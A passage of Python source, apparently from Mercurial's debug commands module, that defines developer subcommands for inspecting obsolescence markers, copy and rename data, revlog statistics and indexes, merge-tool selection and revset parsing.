     for a in args:
         completions.update(n for n in names if n.startswith(a))
     ui.write(b'\n'.join(sorted(completions)))
     ui.write(b'\n')
 
 
 @command(
     b'debugobsolete',
     [
         (b'', b'flags', 0, _(b'markers flag')),
         (
             b'',
             b'record-parents',
             False,
             _(b'record parent information for the precursor'),
         ),
         (b'r', b'rev', [], _(b'display markers relevant to REV')),
         (
             b'',
             b'exclusive',
             False,
             _(b'restrict display to markers only relevant to REV'),
         ),
         (b'', b'index', False, _(b'display index of the marker')),
         (b'', b'delete', [], _(b'delete markers specified by indices')),
     ]
     + cmdutil.commitopts2
     + cmdutil.formatteropts,
     _(b'[OBSOLETED [REPLACEMENT ...]]'),
 )
 def debugobsolete(ui, repo, precursor=None, *successors, **opts):
     """create arbitrary obsolete marker
 
     With no arguments, displays the list of obsolescence markers."""
 
     opts = pycompat.byteskwargs(opts)
 
     def parsenodeid(s):
         try:
             # We do not use revsingle/revrange functions here to accept
             # arbitrary node identifiers, possibly not present in the
             # local repository.
             n = bin(s)
             if len(n) != len(nullid):
                 raise TypeError()
             return n
         except TypeError:
             raise error.Abort(
                 b'changeset references must be full hexadecimal '
                 b'node identifiers'
             )
 
     if opts.get(b'delete'):
         indices = []
         for v in opts.get(b'delete'):
             try:
                 indices.append(int(v))
             except ValueError:
                 raise error.Abort(
                     _(b'invalid index value: %r') % v,
                     hint=_(b'use integers for indices'),
                 )
 
         if repo.currenttransaction():
             raise error.Abort(
                 _(b'cannot delete obsmarkers in the middle of transaction.')
             )
 
         with repo.lock():
             n = repair.deleteobsmarkers(repo.obsstore, indices)
             ui.write(_(b'deleted %i obsolescence markers\n') % n)
 
         return
 
     if precursor is not None:
         if opts[b'rev']:
             raise error.Abort(b'cannot select revision when creating marker')
         metadata = {}
         metadata[b'user'] = encoding.fromlocal(opts[b'user'] or ui.username())
         succs = tuple(parsenodeid(succ) for succ in successors)
         l = repo.lock()
         try:
             tr = repo.transaction(b'debugobsolete')
             try:
                 date = opts.get(b'date')
                 if date:
                     date = dateutil.parsedate(date)
                 else:
                     date = None
                 prec = parsenodeid(precursor)
                 parents = None
                 if opts[b'record_parents']:
                     if prec not in repo.unfiltered():
                         raise error.Abort(
                             b'cannot used --record-parents on '
                             b'unknown changesets'
                         )
                     parents = repo.unfiltered()[prec].parents()
                     parents = tuple(p.node() for p in parents)
                 repo.obsstore.create(
                     tr,
                     prec,
                     succs,
                     opts[b'flags'],
                     parents=parents,
                     date=date,
                     metadata=metadata,
                     ui=ui,
                 )
                 tr.close()
             except ValueError as exc:
                 raise error.Abort(
                     _(b'bad obsmarker input: %s') % pycompat.bytestr(exc)
                 )
             finally:
                 tr.release()
         finally:
             l.release()
     else:
         if opts[b'rev']:
             revs = scmutil.revrange(repo, opts[b'rev'])
             nodes = [repo[r].node() for r in revs]
             markers = list(
                 obsutil.getmarkers(
                     repo, nodes=nodes, exclusive=opts[b'exclusive']
                 )
             )
             markers.sort(key=lambda x: x._data)
         else:
             markers = obsutil.getmarkers(repo)
 
         markerstoiter = markers
         isrelevant = lambda m: True
         if opts.get(b'rev') and opts.get(b'index'):
             markerstoiter = obsutil.getmarkers(repo)
             markerset = set(markers)
             isrelevant = lambda m: m in markerset
 
         fm = ui.formatter(b'debugobsolete', opts)
         for i, m in enumerate(markerstoiter):
             if not isrelevant(m):
                 # marker can be irrelevant when we're iterating over a set
                 # of markers (markerstoiter) which is bigger than the set
                 # of markers we want to display (markers)
                 # this can happen if both --index and --rev options are
                 # provided and thus we need to iterate over all of the markers
                 # to get the correct indices, but only display the ones that
                 # are relevant to --rev value
                 continue
             fm.startitem()
             ind = i if opts.get(b'index') else None
             cmdutil.showmarker(fm, m, index=ind)
         fm.end()
 
 
 @command(
     b'debugp1copies',
     [(b'r', b'rev', b'', _(b'revision to debug'), _(b'REV'))],
     _(b'[-r REV]'),
 )
 def debugp1copies(ui, repo, **opts):
     """dump copy information compared to p1"""
 
     opts = pycompat.byteskwargs(opts)
     ctx = scmutil.revsingle(repo, opts.get(b'rev'), default=None)
     for dst, src in ctx.p1copies().items():
         ui.write(b'%s -> %s\n' % (src, dst))
 
 
 @command(
     b'debugp2copies',
     [(b'r', b'rev', b'', _(b'revision to debug'), _(b'REV'))],
     _(b'[-r REV]'),
 )
 def debugp1copies(ui, repo, **opts):
     """dump copy information compared to p2"""
 
     opts = pycompat.byteskwargs(opts)
     ctx = scmutil.revsingle(repo, opts.get(b'rev'), default=None)
     for dst, src in ctx.p2copies().items():
         ui.write(b'%s -> %s\n' % (src, dst))
 
 
 @command(
     b'debugpathcomplete',
     [
         (b'f', b'full', None, _(b'complete an entire path')),
         (b'n', b'normal', None, _(b'show only normal files')),
         (b'a', b'added', None, _(b'show only added files')),
         (b'r', b'removed', None, _(b'show only removed files')),
     ],
     _(b'FILESPEC...'),
 )
 def debugpathcomplete(ui, repo, *specs, **opts):
     '''complete part or all of a tracked path
 
     This command supports shells that offer path name completion. It
     currently completes only files already known to the dirstate.
 
     Completion extends only to the next path segment unless
     --full is specified, in which case entire paths are used.'''
 
     def complete(path, acceptable):
         dirstate = repo.dirstate
         spec = os.path.normpath(os.path.join(encoding.getcwd(), path))
         rootdir = repo.root + pycompat.ossep
         if spec != repo.root and not spec.startswith(rootdir):
             return [], []
         if os.path.isdir(spec):
             spec += b'/'
         spec = spec[len(rootdir) :]
         fixpaths = pycompat.ossep != b'/'
         if fixpaths:
             spec = spec.replace(pycompat.ossep, b'/')
         speclen = len(spec)
         fullpaths = opts['full']
         files, dirs = set(), set()
         adddir, addfile = dirs.add, files.add
         for f, st in pycompat.iteritems(dirstate):
             if f.startswith(spec) and st[0] in acceptable:
                 if fixpaths:
                     f = f.replace(b'/', pycompat.ossep)
                 if fullpaths:
                     addfile(f)
                     continue
                 s = f.find(pycompat.ossep, speclen)
                 if s >= 0:
                     adddir(f[:s])
                 else:
                     addfile(f)
         return files, dirs
 
     acceptable = b''
     if opts['normal']:
         acceptable += b'nm'
     if opts['added']:
         acceptable += b'a'
     if opts['removed']:
         acceptable += b'r'
     cwd = repo.getcwd()
     if not specs:
         specs = [b'.']
 
     files, dirs = set(), set()
     for spec in specs:
         f, d = complete(spec, acceptable or b'nmar')
         files.update(f)
         dirs.update(d)
     files.update(dirs)
     ui.write(b'\n'.join(repo.pathto(p, cwd) for p in sorted(files)))
     ui.write(b'\n')
 
 
 @command(
     b'debugpathcopies',
     cmdutil.walkopts,
     b'hg debugpathcopies REV1 REV2 [FILE]',
     inferrepo=True,
 )
 def debugpathcopies(ui, repo, rev1, rev2, *pats, **opts):
     """show copies between two revisions"""
     ctx1 = scmutil.revsingle(repo, rev1)
     ctx2 = scmutil.revsingle(repo, rev2)
     m = scmutil.match(ctx1, pats, opts)
     for dst, src in sorted(copies.pathcopies(ctx1, ctx2, m).items()):
         ui.write(b'%s -> %s\n' % (src, dst))
 
 
 @command(b'debugpeer', [], _(b'PATH'), norepo=True)
 def debugpeer(ui, path):
     """establish a connection to a peer repository"""
     # Always enable peer request logging. Requires --debug to display
     # though.
     overrides = {
         (b'devel', b'debug.peer-request'): True,
     }
 
     with ui.configoverride(overrides):
         peer = hg.peer(ui, {}, path)
 
         local = peer.local() is not None
         canpush = peer.canpush()
 
         ui.write(_(b'url: %s\n') % peer.url())
         ui.write(_(b'local: %s\n') % (_(b'yes') if local else _(b'no')))
         ui.write(_(b'pushable: %s\n') % (_(b'yes') if canpush else _(b'no')))
 
 
 @command(
     b'debugpickmergetool',
     [
         (b'r', b'rev', b'', _(b'check for files in this revision'), _(b'REV')),
         (b'', b'changedelete', None, _(b'emulate merging change and delete')),
     ]
     + cmdutil.walkopts
     + cmdutil.mergetoolopts,
     _(b'[PATTERN]...'),
     inferrepo=True,
 )
 def debugpickmergetool(ui, repo, *pats, **opts):
     """examine which merge tool is chosen for specified file
 
     As described in :hg:`help merge-tools`, Mercurial examines
     configurations below in this order to decide which merge tool is
     chosen for specified file.
 
     1. ``--tool`` option
     2. ``HGMERGE`` environment variable
     3. configurations in ``merge-patterns`` section
     4. configuration of ``ui.merge``
     5. configurations in ``merge-tools`` section
     6. ``hgmerge`` tool (for historical reason only)
     7. default tool for fallback (``:merge`` or ``:prompt``)
 
     This command writes out examination result in the style below::
 
         FILE = MERGETOOL
 
     By default, all files known in the first parent context of the
     working directory are examined. Use file patterns and/or -I/-X
     options to limit target files. -r/--rev is also useful to examine
     files in another context without actual updating to it.
 
     With --debug, this command shows warning messages while matching
     against ``merge-patterns`` and so on, too. It is recommended to
     use this option with explicit file patterns and/or -I/-X options,
     because this option increases amount of output per file according
     to configurations in hgrc.
 
     With -v/--verbose, this command shows configurations below at
     first (only if specified).
 
     - ``--tool`` option
     - ``HGMERGE`` environment variable
     - configuration of ``ui.merge``
 
     If merge tool is chosen before matching against
     ``merge-patterns``, this command can't show any helpful
     information, even with --debug. In such case, information above is
     useful to know why a merge tool is chosen.
     """
     opts = pycompat.byteskwargs(opts)
     overrides = {}
     if opts[b'tool']:
         overrides[(b'ui', b'forcemerge')] = opts[b'tool']
         ui.notenoi18n(b'with --tool %r\n' % (pycompat.bytestr(opts[b'tool'])))
 
     with ui.configoverride(overrides, b'debugmergepatterns'):
         hgmerge = encoding.environ.get(b"HGMERGE")
         if hgmerge is not None:
             ui.notenoi18n(b'with HGMERGE=%r\n' % (pycompat.bytestr(hgmerge)))
         uimerge = ui.config(b"ui", b"merge")
         if uimerge:
             ui.notenoi18n(b'with ui.merge=%r\n' % (pycompat.bytestr(uimerge)))
 
         ctx = scmutil.revsingle(repo, opts.get(b'rev'))
         m = scmutil.match(ctx, pats, opts)
         changedelete = opts[b'changedelete']
         for path in ctx.walk(m):
             fctx = ctx[path]
             try:
                 if not ui.debugflag:
                     ui.pushbuffer(error=True)
                 tool, toolpath = filemerge._picktool(
                     repo,
                     ui,
                     path,
                     fctx.isbinary(),
                     b'l' in fctx.flags(),
                     changedelete,
                 )
             finally:
                 if not ui.debugflag:
                     ui.popbuffer()
             ui.write(b'%s = %s\n' % (path, tool))
 
 
 @command(b'debugpushkey', [], _(b'REPO NAMESPACE [KEY OLD NEW]'), norepo=True)
 def debugpushkey(ui, repopath, namespace, *keyinfo, **opts):
     '''access the pushkey key/value protocol
 
     With two args, list the keys in the given namespace.
 
     With five args, set a key to new if it currently is set to old.
     Reports success or failure.
     '''
 
     target = hg.peer(ui, {}, repopath)
     if keyinfo:
         key, old, new = keyinfo
         with target.commandexecutor() as e:
             r = e.callcommand(
                 b'pushkey',
                 {
                     b'namespace': namespace,
                     b'key': key,
                     b'old': old,
                     b'new': new,
                 },
             ).result()
 
         ui.status(pycompat.bytestr(r) + b'\n')
         return not r
     else:
         for k, v in sorted(pycompat.iteritems(target.listkeys(namespace))):
             ui.write(
                 b"%s\t%s\n" % (stringutil.escapestr(k), stringutil.escapestr(v))
             )
 
 
 @command(b'debugpvec', [], _(b'A B'))
 def debugpvec(ui, repo, a, b=None):
     ca = scmutil.revsingle(repo, a)
     cb = scmutil.revsingle(repo, b)
     pa = pvec.ctxpvec(ca)
     pb = pvec.ctxpvec(cb)
     if pa == pb:
         rel = b"="
     elif pa > pb:
         rel = b">"
     elif pa < pb:
         rel = b"<"
     elif pa | pb:
         rel = b"|"
     ui.write(_(b"a: %s\n") % pa)
     ui.write(_(b"b: %s\n") % pb)
     ui.write(_(b"depth(a): %d depth(b): %d\n") % (pa._depth, pb._depth))
     ui.write(
         _(b"delta: %d hdist: %d distance: %d relation: %s\n")
         % (
             abs(pa._depth - pb._depth),
             pvec._hamming(pa._vec, pb._vec),
             pa.distance(pb),
             rel,
         )
     )
 
 
 @command(
     b'debugrebuilddirstate|debugrebuildstate',
     [
         (b'r', b'rev', b'', _(b'revision to rebuild to'), _(b'REV')),
         (
             b'',
             b'minimal',
             None,
             _(
                 b'only rebuild files that are inconsistent with '
                 b'the working copy parent'
             ),
         ),
     ],
     _(b'[-r REV]'),
 )
 def debugrebuilddirstate(ui, repo, rev, **opts):
     """rebuild the dirstate as it would look like for the given revision
 
     If no revision is specified the first current parent will be used.
 
     The dirstate will be set to the files of the given revision.
     The actual working directory content or existing dirstate
     information such as adds or removes is not considered.
 
     ``minimal`` will only rebuild the dirstate status for files that claim to be
     tracked but are not in the parent manifest, or that exist in the parent
     manifest but are not in the dirstate. It will not change adds, removes, or
     modified files that are in the working copy parent.
 
     One use of this command is to make the next :hg:`status` invocation
     check the actual file content.
     """
     ctx = scmutil.revsingle(repo, rev)
     with repo.wlock():
         dirstate = repo.dirstate
         changedfiles = None
         # See command doc for what minimal does.
         if opts.get('minimal'):
             manifestfiles = set(ctx.manifest().keys())
             dirstatefiles = set(dirstate)
             manifestonly = manifestfiles - dirstatefiles
             dsonly = dirstatefiles - manifestfiles
             dsnotadded = set(f for f in dsonly if dirstate[f] != b'a')
             changedfiles = manifestonly | dsnotadded
 
         dirstate.rebuild(ctx.node(), ctx.manifest(), changedfiles)
 
 
 @command(b'debugrebuildfncache', [], b'')
 def debugrebuildfncache(ui, repo):
     """rebuild the fncache file"""
     repair.rebuildfncache(ui, repo)
 
 
 @command(
     b'debugrename',
     [(b'r', b'rev', b'', _(b'revision to debug'), _(b'REV'))],
     _(b'[-r REV] [FILE]...'),
 )
 def debugrename(ui, repo, *pats, **opts):
     """dump rename information"""
 
     opts = pycompat.byteskwargs(opts)
     ctx = scmutil.revsingle(repo, opts.get(b'rev'))
     m = scmutil.match(ctx, pats, opts)
     for abs in ctx.walk(m):
         fctx = ctx[abs]
         o = fctx.filelog().renamed(fctx.filenode())
         rel = repo.pathto(abs)
         if o:
             ui.write(_(b"%s renamed from %s:%s\n") % (rel, o[0], hex(o[1])))
         else:
             ui.write(_(b"%s not renamed\n") % rel)
 
 
 @command(
     b'debugrevlog',
     cmdutil.debugrevlogopts + [(b'd', b'dump', False, _(b'dump index data'))],
     _(b'-c|-m|FILE'),
     optionalrepo=True,
 )
 def debugrevlog(ui, repo, file_=None, **opts):
     """show data and statistics about a revlog"""
     opts = pycompat.byteskwargs(opts)
     r = cmdutil.openrevlog(repo, b'debugrevlog', file_, opts)
 
     if opts.get(b"dump"):
         numrevs = len(r)
         ui.write(
             (
                 b"# rev p1rev p2rev start   end deltastart base   p1   p2"
                 b" rawsize totalsize compression heads chainlen\n"
             )
         )
         ts = 0
         heads = set()
 
         for rev in pycompat.xrange(numrevs):
             dbase = r.deltaparent(rev)
             if dbase == -1:
                 dbase = rev
             cbase = r.chainbase(rev)
             clen = r.chainlen(rev)
             p1, p2 = r.parentrevs(rev)
             rs = r.rawsize(rev)
             ts = ts + rs
             heads -= set(r.parentrevs(rev))
             heads.add(rev)
             try:
                 compression = ts / r.end(rev)
             except ZeroDivisionError:
                 compression = 0
             ui.write(
                 b"%5d %5d %5d %5d %5d %10d %4d %4d %4d %7d %9d "
                 b"%11d %5d %8d\n"
                 % (
                     rev,
                     p1,
                     p2,
                     r.start(rev),
                     r.end(rev),
                     r.start(dbase),
                     r.start(cbase),
                     r.start(p1),
                     r.start(p2),
                     rs,
                     ts,
                     compression,
                     len(heads),
                     clen,
                 )
             )
         return 0
 
     v = r.version
     format = v & 0xFFFF
     flags = []
     gdelta = False
     if v & revlog.FLAG_INLINE_DATA:
         flags.append(b'inline')
     if v & revlog.FLAG_GENERALDELTA:
         gdelta = True
         flags.append(b'generaldelta')
     if not flags:
         flags = [b'(none)']
 
     ### tracks merge vs single parent
     nummerges = 0
 
     ### tracks ways the "delta" are build
     # nodelta
     numempty = 0
     numemptytext = 0
     numemptydelta = 0
     # full file content
     numfull = 0
     # intermediate snapshot against a prior snapshot
     numsemi = 0
     # snapshot count per depth
     numsnapdepth = collections.defaultdict(lambda: 0)
     # delta against previous revision
     numprev = 0
     # delta against first or second parent (not prev)
     nump1 = 0
     nump2 = 0
     # delta against neither prev nor parents
     numother = 0
     # delta against prev that are also first or second parent
     # (details of `numprev`)
     nump1prev = 0
     nump2prev = 0
 
     # data about delta chain of each revs
     chainlengths = []
     chainbases = []
     chainspans = []
 
     # data about each revision
     datasize = [None, 0, 0]
     fullsize = [None, 0, 0]
     semisize = [None, 0, 0]
     # snapshot count per depth
     snapsizedepth = collections.defaultdict(lambda: [None, 0, 0])
     deltasize = [None, 0, 0]
     chunktypecounts = {}
     chunktypesizes = {}
 
     def addsize(size, l):
         if l[0] is None or size < l[0]:
             l[0] = size
         if size > l[1]:
             l[1] = size
         l[2] += size
 
     numrevs = len(r)
     for rev in pycompat.xrange(numrevs):
         p1, p2 = r.parentrevs(rev)
         delta = r.deltaparent(rev)
         if format > 0:
             addsize(r.rawsize(rev), datasize)
         if p2 != nullrev:
             nummerges += 1
         size = r.length(rev)
         if delta == nullrev:
             chainlengths.append(0)
             chainbases.append(r.start(rev))
             chainspans.append(size)
             if size == 0:
                 numempty += 1
                 numemptytext += 1
             else:
                 numfull += 1
                 numsnapdepth[0] += 1
                 addsize(size, fullsize)
                 addsize(size, snapsizedepth[0])
         else:
             chainlengths.append(chainlengths[delta] + 1)
             baseaddr = chainbases[delta]
             revaddr = r.start(rev)
             chainbases.append(baseaddr)
             chainspans.append((revaddr - baseaddr) + size)
             if size == 0:
                 numempty += 1
                 numemptydelta += 1
             elif r.issnapshot(rev):
                 addsize(size, semisize)
                 numsemi += 1
                 depth = r.snapshotdepth(rev)
                 numsnapdepth[depth] += 1
                 addsize(size, snapsizedepth[depth])
             else:
                 addsize(size, deltasize)
                 if delta == rev - 1:
                     numprev += 1
                     if delta == p1:
                         nump1prev += 1
                     elif delta == p2:
                         nump2prev += 1
                 elif delta == p1:
                     nump1 += 1
                 elif delta == p2:
                     nump2 += 1
                 elif delta != nullrev:
                     numother += 1
 
         # Obtain data on the raw chunks in the revlog.
         if util.safehasattr(r, b'_getsegmentforrevs'):
             segment = r._getsegmentforrevs(rev, rev)[1]
         else:
             segment = r._revlog._getsegmentforrevs(rev, rev)[1]
         if segment:
             chunktype = bytes(segment[0:1])
         else:
             chunktype = b'empty'
 
         if chunktype not in chunktypecounts:
             chunktypecounts[chunktype] = 0
             chunktypesizes[chunktype] = 0
 
         chunktypecounts[chunktype] += 1
         chunktypesizes[chunktype] += size
 
     # Adjust size min value for empty cases
     for size in (datasize, fullsize, semisize, deltasize):
         if size[0] is None:
             size[0] = 0
 
     numdeltas = numrevs - numfull - numempty - numsemi
     numoprev = numprev - nump1prev - nump2prev
     totalrawsize = datasize[2]
     datasize[2] /= numrevs
     fulltotal = fullsize[2]
     if numfull == 0:
         fullsize[2] = 0
     else:
         fullsize[2] /= numfull
     semitotal = semisize[2]
     snaptotal = {}
     if numsemi > 0:
         semisize[2] /= numsemi
     for depth in snapsizedepth:
         snaptotal[depth] = snapsizedepth[depth][2]
         snapsizedepth[depth][2] /= numsnapdepth[depth]
 
     deltatotal = deltasize[2]
     if numdeltas > 0:
         deltasize[2] /= numdeltas
     totalsize = fulltotal + semitotal + deltatotal
     avgchainlen = sum(chainlengths) / numrevs
     maxchainlen = max(chainlengths)
     maxchainspan = max(chainspans)
     compratio = 1
     if totalsize:
         compratio = totalrawsize / totalsize
 
     basedfmtstr = b'%%%dd\n'
     basepcfmtstr = b'%%%dd %s(%%5.2f%%%%)\n'
 
     def dfmtstr(max):
         return basedfmtstr % len(str(max))
 
     def pcfmtstr(max, padding=0):
         return basepcfmtstr % (len(str(max)), b' ' * padding)
 
     def pcfmt(value, total):
         if total:
             return (value, 100 * float(value) / total)
         else:
             return value, 100.0
 
     ui.writenoi18n(b'format : %d\n' % format)
     ui.writenoi18n(b'flags  : %s\n' % b', '.join(flags))
 
     ui.write(b'\n')
     fmt = pcfmtstr(totalsize)
     fmt2 = dfmtstr(totalsize)
     ui.writenoi18n(b'revisions     : ' + fmt2 % numrevs)
     ui.writenoi18n(b'    merges    : ' + fmt % pcfmt(nummerges, numrevs))
     ui.writenoi18n(
         b'    normal    : ' + fmt % pcfmt(numrevs - nummerges, numrevs)
     )
     ui.writenoi18n(b'revisions     : ' + fmt2 % numrevs)
     ui.writenoi18n(b'    empty     : ' + fmt % pcfmt(numempty, numrevs))
     ui.writenoi18n(
         b'                   text  : '
         + fmt % pcfmt(numemptytext, numemptytext + numemptydelta)
     )
     ui.writenoi18n(
         b'                   delta : '
         + fmt % pcfmt(numemptydelta, numemptytext + numemptydelta)
     )
     ui.writenoi18n(
         b'    snapshot  : ' + fmt % pcfmt(numfull + numsemi, numrevs)
     )
     for depth in sorted(numsnapdepth):
         ui.write(
             (b'      lvl-%-3d :       ' % depth)
             + fmt % pcfmt(numsnapdepth[depth], numrevs)
         )
     ui.writenoi18n(b'    deltas    : ' + fmt % pcfmt(numdeltas, numrevs))
     ui.writenoi18n(b'revision size : ' + fmt2 % totalsize)
     ui.writenoi18n(
         b'    snapshot  : ' + fmt % pcfmt(fulltotal + semitotal, totalsize)
     )
     for depth in sorted(numsnapdepth):
         ui.write(
             (b'      lvl-%-3d :       ' % depth)
             + fmt % pcfmt(snaptotal[depth], totalsize)
         )
     ui.writenoi18n(b'    deltas    : ' + fmt % pcfmt(deltatotal, totalsize))
 
     def fmtchunktype(chunktype):
         if chunktype == b'empty':
             return b'    %s     : ' % chunktype
         elif chunktype in pycompat.bytestr(string.ascii_letters):
             return b'    0x%s (%s)  : ' % (hex(chunktype), chunktype)
         else:
             return b'    0x%s      : ' % hex(chunktype)
 
     ui.write(b'\n')
     ui.writenoi18n(b'chunks        : ' + fmt2 % numrevs)
     for chunktype in sorted(chunktypecounts):
         ui.write(fmtchunktype(chunktype))
         ui.write(fmt % pcfmt(chunktypecounts[chunktype], numrevs))
     ui.writenoi18n(b'chunks size   : ' + fmt2 % totalsize)
     for chunktype in sorted(chunktypecounts):
         ui.write(fmtchunktype(chunktype))
         ui.write(fmt % pcfmt(chunktypesizes[chunktype], totalsize))
 
     ui.write(b'\n')
     fmt = dfmtstr(max(avgchainlen, maxchainlen, maxchainspan, compratio))
     ui.writenoi18n(b'avg chain length  : ' + fmt % avgchainlen)
     ui.writenoi18n(b'max chain length  : ' + fmt % maxchainlen)
     ui.writenoi18n(b'max chain reach   : ' + fmt % maxchainspan)
     ui.writenoi18n(b'compression ratio : ' + fmt % compratio)
 
     if format > 0:
         ui.write(b'\n')
         ui.writenoi18n(
             b'uncompressed data size (min/max/avg) : %d / %d / %d\n'
             % tuple(datasize)
         )
     ui.writenoi18n(
         b'full revision size (min/max/avg)     : %d / %d / %d\n'
         % tuple(fullsize)
     )
     ui.writenoi18n(
         b'inter-snapshot size (min/max/avg)    : %d / %d / %d\n'
         % tuple(semisize)
     )
     for depth in sorted(snapsizedepth):
         if depth == 0:
             continue
         ui.writenoi18n(
             b'    level-%-3d (min/max/avg)          : %d / %d / %d\n'
             % ((depth,) + tuple(snapsizedepth[depth]))
         )
     ui.writenoi18n(
         b'delta size (min/max/avg)             : %d / %d / %d\n'
         % tuple(deltasize)
     )
 
     if numdeltas > 0:
         ui.write(b'\n')
         fmt = pcfmtstr(numdeltas)
         fmt2 = pcfmtstr(numdeltas, 4)
         ui.writenoi18n(
             b'deltas against prev  : ' + fmt % pcfmt(numprev, numdeltas)
         )
         if numprev > 0:
             ui.writenoi18n(
                 b'    where prev = p1  : ' + fmt2 % pcfmt(nump1prev, numprev)
             )
             ui.writenoi18n(
                 b'    where prev = p2  : ' + fmt2 % pcfmt(nump2prev, numprev)
             )
             ui.writenoi18n(
                 b'    other            : ' + fmt2 % pcfmt(numoprev, numprev)
             )
         if gdelta:
             ui.writenoi18n(
                 b'deltas against p1    : ' + fmt % pcfmt(nump1, numdeltas)
             )
             ui.writenoi18n(
                 b'deltas against p2    : ' + fmt % pcfmt(nump2, numdeltas)
             )
             ui.writenoi18n(
                 b'deltas against other : ' + fmt % pcfmt(numother, numdeltas)
             )
 
 
 @command(
     b'debugrevlogindex',
     cmdutil.debugrevlogopts
     + [(b'f', b'format', 0, _(b'revlog format'), _(b'FORMAT'))],
     _(b'[-f FORMAT] -c|-m|FILE'),
     optionalrepo=True,
 )
 def debugrevlogindex(ui, repo, file_=None, **opts):
     """dump the contents of a revlog index"""
     opts = pycompat.byteskwargs(opts)
     r = cmdutil.openrevlog(repo, b'debugrevlogindex', file_, opts)
     format = opts.get(b'format', 0)
     if format not in (0, 1):
         raise error.Abort(_(b"unknown format %d") % format)
 
     if ui.debugflag:
         shortfn = hex
     else:
         shortfn = short
 
     # There might not be anything in r, so have a sane default
     idlen = 12
     for i in r:
         idlen = len(shortfn(r.node(i)))
         break
 
     if format == 0:
         if ui.verbose:
             ui.writenoi18n(
                 b"   rev    offset  length linkrev %s %s p2\n"
                 % (b"nodeid".ljust(idlen), b"p1".ljust(idlen))
             )
         else:
             ui.writenoi18n(
                 b"   rev linkrev %s %s p2\n"
                 % (b"nodeid".ljust(idlen), b"p1".ljust(idlen))
             )
     elif format == 1:
         if ui.verbose:
             ui.writenoi18n(
                 (
                     b"   rev flag   offset   length     size   link     p1"
                     b"     p2 %s\n"
                 )
                 % b"nodeid".rjust(idlen)
             )
         else:
             ui.writenoi18n(
                 b"   rev flag     size   link     p1     p2 %s\n"
                 % b"nodeid".rjust(idlen)
             )
 
     for i in r:
         node = r.node(i)
         if format == 0:
             try:
                 pp = r.parents(node)
             except Exception:
                 pp = [nullid, nullid]
             if ui.verbose:
                 ui.write(
                     b"% 6d % 9d % 7d % 7d %s %s %s\n"
                     % (
                         i,
                         r.start(i),
                         r.length(i),
                         r.linkrev(i),
                         shortfn(node),
                         shortfn(pp[0]),
                         shortfn(pp[1]),
                     )
                 )
             else:
                 ui.write(
                     b"% 6d % 7d %s %s %s\n"
                     % (
                         i,
                         r.linkrev(i),
                         shortfn(node),
                         shortfn(pp[0]),
                         shortfn(pp[1]),
                     )
                 )
         elif format == 1:
             pr = r.parentrevs(i)
             if ui.verbose:
                 ui.write(
                     b"% 6d %04x % 8d % 8d % 8d % 6d % 6d % 6d %s\n"
                     % (
                         i,
                         r.flags(i),
                         r.start(i),
                         r.length(i),
                         r.rawsize(i),
                         r.linkrev(i),
                         pr[0],
                         pr[1],
                         shortfn(node),
                     )
                 )
             else:
                 ui.write(
                     b"% 6d %04x % 8d % 6d % 6d % 6d %s\n"
                     % (
                         i,
                         r.flags(i),
                         r.rawsize(i),
                         r.linkrev(i),
                         pr[0],
                         pr[1],
                         shortfn(node),
                     )
                 )
 
 
 @command(
     b'debugrevspec',
     [
         (
             b'',
             b'optimize',
             None,
             _(b'print parsed tree after optimizing (DEPRECATED)'),
         ),
         (
             b'',
             b'show-revs',
             True,
             _(b'print list of result revisions (default)'),
         ),
         (
             b's',
             b'show-set',
             None,
             _(b'print internal representation of result set'),
         ),
         (
             b'p',
             b'show-stage',
             [],
             _(b'print parsed tree at the given stage'),
             _(b'NAME'),
         ),
         (b'', b'no-optimized', False, _(b'evaluate tree without optimization')),
         (b'', b'verify-optimized', False, _(b'verify optimized result')),
     ],
     b'REVSPEC',
 )
 def debugrevspec(ui, repo, expr, **opts):
     """parse and apply a revision specification
 
     Use -p/--show-stage option to print the parsed tree at the given stages.
     Use -p all to print tree at every stage.
 
     Use --no-show-revs option with -s or -p to print only the set
     representation or the parsed tree respectively.
 
     Use --verify-optimized to compare the optimized result with the unoptimized
     one. Returns 1 if the optimized result differs.
     """
     opts = pycompat.byteskwargs(opts)
     aliases = ui.configitems(b'revsetalias')
     stages = [
         (b'parsed', lambda tree: tree),
         (
             b'expanded',
             lambda tree: revsetlang.expandaliases(tree, aliases, ui.warn),
         ),
         (b'concatenated', revsetlang.foldconcat),
         (b'analyzed', revsetlang.analyze),
         (b'optimized', revsetlang.optimize),
     ]
     if opts[b'no_optimized']:
         stages = stages[:-1]
     if opts[b'verify_optimized'] and opts[b'no_optimized']:
         raise error.Abort(
             _(b'cannot use --verify-optimized with --no-optimized')
         )
     stagenames = set(n for n, f in stages)
 
     showalways = set()
     showchanged = set()
     if ui.verbose and not opts[b'show_stage']:
         # show parsed tree by --verbose (deprecated)
         showalways.add(b'parsed')
         showchanged.update([b'expanded', b'concatenated'])
         if opts[b'optimize']:
             showalways.add(b'optimized')
     if opts[b'show_stage'] and opts[b'optimize']:
         raise error.Abort(_(b'cannot use --optimize with --show-stage'))
     if opts[b'show_stage'] == [b'all']:
         showalways.update(stagenames)
     else:
         for n in opts[b'show_stage']:
             if n not in stagenames:
                 raise error.Abort(_(b'invalid stage name: %s') % n)
         showalways.update(opts[b'show_stage'])
 
     treebystage = {}
     printedtree = None
     tree = revsetlang.parse(expr, lookup=revset.lookupfn(repo))
     for n, f in stages:
         treebystage[n] = tree = f(tree)
         if n in showalways or (n in showchanged and tree != printedtree):
             if opts[b'show_stage'] or n != b'parsed':
                 ui.write(b"* %s:\n" % n)
             ui.write(revsetlang.prettyformat(tree), b"\n")
             printedtree = tree
 
     if opts[b'verify_optimized']:
         arevs = revset.makematcher(treebystage[b'analyzed'])(repo)
         brevs = revset.makematcher(treebystage[b'optimized'])(repo)
         if opts[b'show_set'] or (opts[b'show_set'] is None and ui.verbose):
             ui.writenoi18n(
                 b"* analyzed set:\n", stringutil.prettyrepr(arevs), b"\n"
             )
             ui.writenoi18n(
                 b"* optimized set:\n", stringutil.prettyrepr(brevs), b"\n"
             )
         arevs = list(arevs)
         brevs = list(brevs)
         if arevs == brevs:
             return 0
         ui.writenoi18n(b'--- analyzed\n', label=b'diff.file_a')
         ui.writenoi18n(b'+++ optimized\n', label=b'diff.file_b')
         sm = difflib.SequenceMatcher(None, arevs, brevs)
         for tag, alo, ahi, blo, bhi in sm.get_opcodes():
             if tag in ('delete', 'replace'):
                 for c in arevs[alo:ahi]:
                     ui.write(b'-%d\n' % c, label=b'diff.deleted')
             if tag in ('insert', 'replace'):
                 for c in brevs[blo:bhi]:
                     ui.write(b'+%d\n' % c, label=b'diff.inserted')
             if tag == 'equal':
